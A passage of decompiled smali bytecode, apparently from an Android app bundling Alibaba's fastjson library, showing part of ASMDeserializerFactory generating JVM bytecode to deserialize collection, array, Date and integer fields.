                                                840invoke-interface {v15, v10, v8, v9, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                842invoke-interface {v15, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                843new-instance v3, Lcom/alibaba/fastjson/asm/Label;
                                                845invoke-direct {v3}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                846new-instance v8, Lcom/alibaba/fastjson/asm/Label;
                                                848invoke-direct {v8}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                850invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                851move-result v9
                                                852const/16 v11, 0x19
                                                854invoke-interface {v15, v11, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                856sget-object v9, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                858const-string v13, "getCurrent"
                                                860invoke-interface {v15, v10, v9, v13, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                861const/16 v9, 0x5b
                                                862const/16 v13, 0x10
                                                864invoke-interface {v15, v13, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                865const/16 v9, 0xa0
                                                867invoke-interface {v15, v9, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                869invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                870move-result v9
                                                872invoke-interface {v15, v11, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                874sget-object v9, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                876const-string v13, "next"
                                                878invoke-interface {v15, v10, v9, v13, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                879const/16 v9, 0x57
                                                881invoke-interface {v15, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                883invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                884move-result v9
                                                886invoke-interface {v15, v11, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                887const/16 v9, 0xe
                                                889invoke-static {v9}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                890move-result-object v9
                                                892invoke-interface {v15, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                894sget-object v9, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                896const-string v12, "setToken"
                                                898invoke-interface {v15, v10, v9, v12, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                899const/16 v9, 0xa7
                                                901invoke-interface {v15, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                903invoke-interface {v15, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                905invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                906move-result v3
                                                908invoke-interface {v15, v11, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                909const/16 v3, 0xe
                                                911invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                912move-result-object v3
                                                914invoke-interface {v15, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                916sget-object v3, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                918const-string v9, "nextToken"
                                                920invoke-interface {v15, v10, v3, v9, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                922invoke-interface {v15, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                923move/from16 v10, v19
                                                924const/4 v3, 0x0
                                                926invoke-direct {v6, v15, v0, v10, v3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_newCollection(Lcom/alibaba/fastjson/asm/MethodVisitor;Ljava/lang/Class;IZ)V
                                                927const/16 v0, 0x59
                                                929invoke-interface {v15, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                930new-instance v0, Ljava/lang/StringBuilder;
                                                932invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                934iget-object v3, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                936invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                938invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                940invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                941move-result-object v0
                                                943invoke-virtual {v7, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                944move-result v0
                                                945const/16 v2, 0x3a
                                                947invoke-interface {v15, v2, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                949invoke-direct {v6, v7, v15, v1, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_getCollectionFieldItemDeser(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Ljava/lang/Class;)V
                                                950const/4 v0, 0x1
                                                951const/16 v1, 0x19
                                                953invoke-interface {v15, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                955invoke-static {v4}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                956move-result-object v0
                                                958invoke-static {v0}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                959move-result-object v0
                                                961invoke-interface {v15, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                962const/4 v0, 0x3
                                                964invoke-interface {v15, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                965const/16 v0, 0xb8
                                                966const-class v1, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;
                                                968invoke-static {v1}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                969move-result-object v1
                                                970new-instance v2, Ljava/lang/StringBuilder;
                                                972invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                974const-string v3, "(Ljava/util/Collection;"
                                                976invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                977const-class v3, Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                979invoke-static {v3}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                980move-result-object v3
                                                982invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                984const-string v3, "L"
                                                986invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                988sget-object v3, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                990invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                992const-string v3, ";Ljava/lang/reflect/Type;Ljava/lang/Object;)V"
                                                994invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                996invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                997move-result-object v2
                                                999const-string v3, "parseArray"
                                                1001invoke-interface {v15, v0, v1, v3, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1002goto/16 :goto_72d
                                                1003cond_59e: move/from16 v10, v19
                                                1005invoke-virtual {v0}, Ljava/lang/Class;->isArray()Z
                                                1006move-result v4
                                                1007if-eqz v4, :cond_60b
                                                1009invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1010move-result v3
                                                1011const/16 v4, 0x19
                                                1013invoke-interface {v15, v4, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1014const/16 v3, 0xe
                                                1016invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                1017move-result-object v3
                                                1019invoke-interface {v15, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1021sget-object v3, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1023const-string v8, "nextToken"
                                                1024const/16 v9, 0xb6
                                                1026invoke-interface {v15, v9, v3, v8, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1027const/4 v3, 0x1
                                                1029invoke-interface {v15, v4, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1030const/4 v3, 0x0
                                                1032invoke-interface {v15, v4, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1034invoke-static {v10}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                1035move-result-object v3
                                                1037invoke-interface {v15, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1038const-class v3, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;
                                                1040invoke-static {v3}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                1041move-result-object v3
                                                1043const-string v4, "getFieldType"
                                                1045const-string v5, "(I)Ljava/lang/reflect/Type;"
                                                1047invoke-interface {v15, v9, v3, v4, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1049sget-object v3, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                1051const-string v4, "parseObject"
                                                1053const-string v5, "(Ljava/lang/reflect/Type;)Ljava/lang/Object;"
                                                1055invoke-interface {v15, v9, v3, v4, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1056const/16 v3, 0xc0
                                                1058invoke-static {v0}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                1059move-result-object v0
                                                1061invoke-interface {v15, v3, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                1062new-instance v0, Ljava/lang/StringBuilder;
                                                1064invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                1066iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                1068invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1070invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1072invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1073move-result-object v0
                                                1075invoke-virtual {v7, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1076move-result v0
                                                1077const/16 v1, 0x3a
                                                1079invoke-interface {v15, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1080goto/16 :goto_72d
                                                1081cond_60b: new-instance v4, Lcom/alibaba/fastjson/asm/Label;
                                                1083invoke-direct {v4}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                1084new-instance v8, Lcom/alibaba/fastjson/asm/Label;
                                                1086invoke-direct {v8}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                1087const-class v5, Ljava/util/Date;
                                                1088if-ne v0, v5, :cond_691
                                                1090invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1091move-result v5
                                                1092const/16 v9, 0x19
                                                1094invoke-interface {v15, v9, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1096sget-object v5, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1098const-string v9, "getCurrent"
                                                1099const/16 v11, 0xb6
                                                1101invoke-interface {v15, v11, v5, v9, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1102const/16 v5, 0x31
                                                1104invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                1105move-result-object v5
                                                1107invoke-interface {v15, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1108const/16 v5, 0xa0
                                                1110invoke-interface {v15, v5, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1111const/16 v5, 0xbb
                                                1112const-class v9, Ljava/util/Date;
                                                1114invoke-static {v9}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                1115move-result-object v9
                                                1117invoke-interface {v15, v5, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                1118const/16 v5, 0x59
                                                1120invoke-interface {v15, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                1122invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1123move-result v5
                                                1124const/16 v9, 0x19
                                                1126invoke-interface {v15, v9, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1127const/16 v5, 0x10
                                                1129invoke-interface {v15, v5, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1131sget-object v3, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1133const-string v5, "scanLong"
                                                1135const-string v11, "(C)J"
                                                1136const/16 v12, 0xb6
                                                1138invoke-interface {v15, v12, v3, v5, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1139const/16 v3, 0xb7
                                                1140const-class v5, Ljava/util/Date;
                                                1142invoke-static {v5}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                1143move-result-object v5
                                                1145const-string v11, "<init>"
                                                1147const-string v12, "(J)V"
                                                1149invoke-interface {v15, v3, v5, v11, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1150new-instance v3, Ljava/lang/StringBuilder;
                                                1152invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                1154iget-object v5, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                1156invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1158invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1160invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1161move-result-object v2
                                                1163invoke-virtual {v7, v2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1164move-result v2
                                                1165const/16 v3, 0x3a
                                                1167invoke-interface {v15, v3, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1168const/16 v2, 0xa7
                                                1170invoke-interface {v15, v2, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1171goto/16 :goto_693
                                                1172cond_691: const/16 v9, 0x19
                                                1173goto_693:
                                                1174invoke-interface {v15, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                1175const/16 v2, 0xe
                                                1177invoke-direct {v6, v7, v15, v2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_quickNextToken(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;I)V
                                                1178move-object v4, v0
                                                1179move-object/from16 v0, p0
                                                1180move-object v5, v1
                                                1181move-object/from16 v1, p2
                                                1182move-object v2, v15
                                                1183move-object v3, v5
                                                1184move v5, v10
                                                1186invoke-direct/range {v0 .. v5}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_deserObject(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Ljava/lang/Class;I)V
                                                1187const/4 v0, 0x0
                                                1189invoke-interface {v15, v9, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1191invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1192move-result v0
                                                1194invoke-interface {v15, v9, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1195if-nez v16, :cond_6be
                                                1196const/16 v0, 0x10
                                                1198invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                1199move-result-object v0
                                                1201invoke-interface {v15, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1202goto/16 :goto_6c7
                                                1203cond_6be: const/16 v0, 0xf
                                                1205invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                1206move-result-object v0
                                                1208invoke-interface {v15, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1209goto_6c7: const/16 v0, 0xb7
                                                1210const-class v1, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;
                                                1212invoke-static {v1}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                1213move-result-object v1
                                                1214new-instance v2, Ljava/lang/StringBuilder;
                                                1216invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                1218const-string v3, "("
                                                1220invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1221const-class v3, Lcom/alibaba/fastjson/parser/JSONLexer;
                                                1223invoke-static {v3}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                1224move-result-object v3
                                                1226invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1228const-string v3, "I)V"
                                                1230invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1232invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1233move-result-object v2
                                                1235const-string v3, "check"
                                                1237invoke-interface {v15, v0, v1, v3, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1239invoke-interface {v15, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                1240goto/16 :goto_72d
                                                1241cond_6f4: move-object v5, v1
                                                1242move-object/from16 v17, v8
                                                1243move/from16 v18, v9
                                                1244move v10, v11
                                                1245const/16 v9, 0x19
                                                1247invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1248move-result v0
                                                1250invoke-interface {v15, v9, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1251const/16 v0, 0x10
                                                1253invoke-interface {v15, v0, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1255sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1257const-string v1, "scanInt"
                                                1259const-string v3, "(C)I"
                                                1260const/16 v4, 0xb6
                                                1262invoke-interface {v15, v4, v0, v1, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1263new-instance v0, Ljava/lang/StringBuilder;
                                                1265invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                1267iget-object v1, v5, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                1269invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1271invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1273invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1274move-result-object v0
                                                1276invoke-virtual {v7, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1277move-result v0
                                                1278const/16 v1, 0x36
                                                1280invoke-interface {v15, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1281goto_72d: add-int/lit8 v11, v10, 0x1
                                                1282move-object/from16 v8, v17
                                                1283move/from16 v9, v18
                                                1284goto/16 :goto_37
                                                1285cond_735: const/4 v0, 0x0
                                                1286const/16 v9, 0x19
                                                1288invoke-direct {v6, v7, v15, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_batchSet(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Z)V
                                                1289new-instance v0, Lcom/alibaba/fastjson/asm/Label;
                                                1291invoke-direct {v0}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                1292new-instance v1, Lcom/alibaba/fastjson/asm/Label;
                                                1294invoke-direct {v1}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                1295new-instance v2, Lcom/alibaba/fastjson/asm/Label;
                                                1297invoke-direct {v2}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                1298new-instance v3, Lcom/alibaba/fastjson/asm/Label;
                                                1300invoke-direct {v3}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                1302invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1303move-result v8
                                                1305invoke-interface {v15, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1307sget-object v8, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1309const-string v10, "getCurrent"
                                                1310const/16 v11, 0xb6
                                                1312invoke-interface {v15, v11, v8, v10, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1313const/16 v8, 0x59
                                                1315invoke-interface {v15, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                1317invoke-virtual {v7, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1318move-result v8
                                                1319const/16 v10, 0x36
                                                1321invoke-interface {v15, v10, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1322const/16 v8, 0x2c
                                                1323const/16 v10, 0x10
                                                1325invoke-interface {v15, v10, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1326const/16 v8, 0xa0
                                                1328invoke-interface {v15, v8, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1330invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1331move-result v8
                                                1333invoke-interface {v15, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1335sget-object v8, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1337const-string v11, "next"
                                                1338const/16 v13, 0xb6
                                                1340invoke-interface {v15, v13, v8, v11, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1341const/16 v8, 0x57
                                                1343invoke-interface {v15, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                1345invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1346move-result v8
                                                1348invoke-interface {v15, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1350invoke-static {v10}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                1351move-result-object v8
                                                1353invoke-interface {v15, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1355sget-object v8, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1357const-string v11, "setToken"
                                                1359invoke-interface {v15, v13, v8, v11, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1360const/16 v8, 0xa7
                                                1362invoke-interface {v15, v8, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1364invoke-interface {v15, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                1366invoke-virtual {v7, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1367move-result v1
                                                1368const/16 v8, 0x15
                                                1370invoke-interface {v15, v8, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1371const/16 v1, 0x5d
                                                1373invoke-interface {v15, v10, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1374const/16 v1, 0xa0
                                                1376invoke-interface {v15, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1378invoke-virtual {v7, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                1379move-result v1
                                                1381invoke-interface {v15, v9, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1383sget-object v1, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                1385const-string v8, "next"
                                                1386const/16 v10, 0xb6
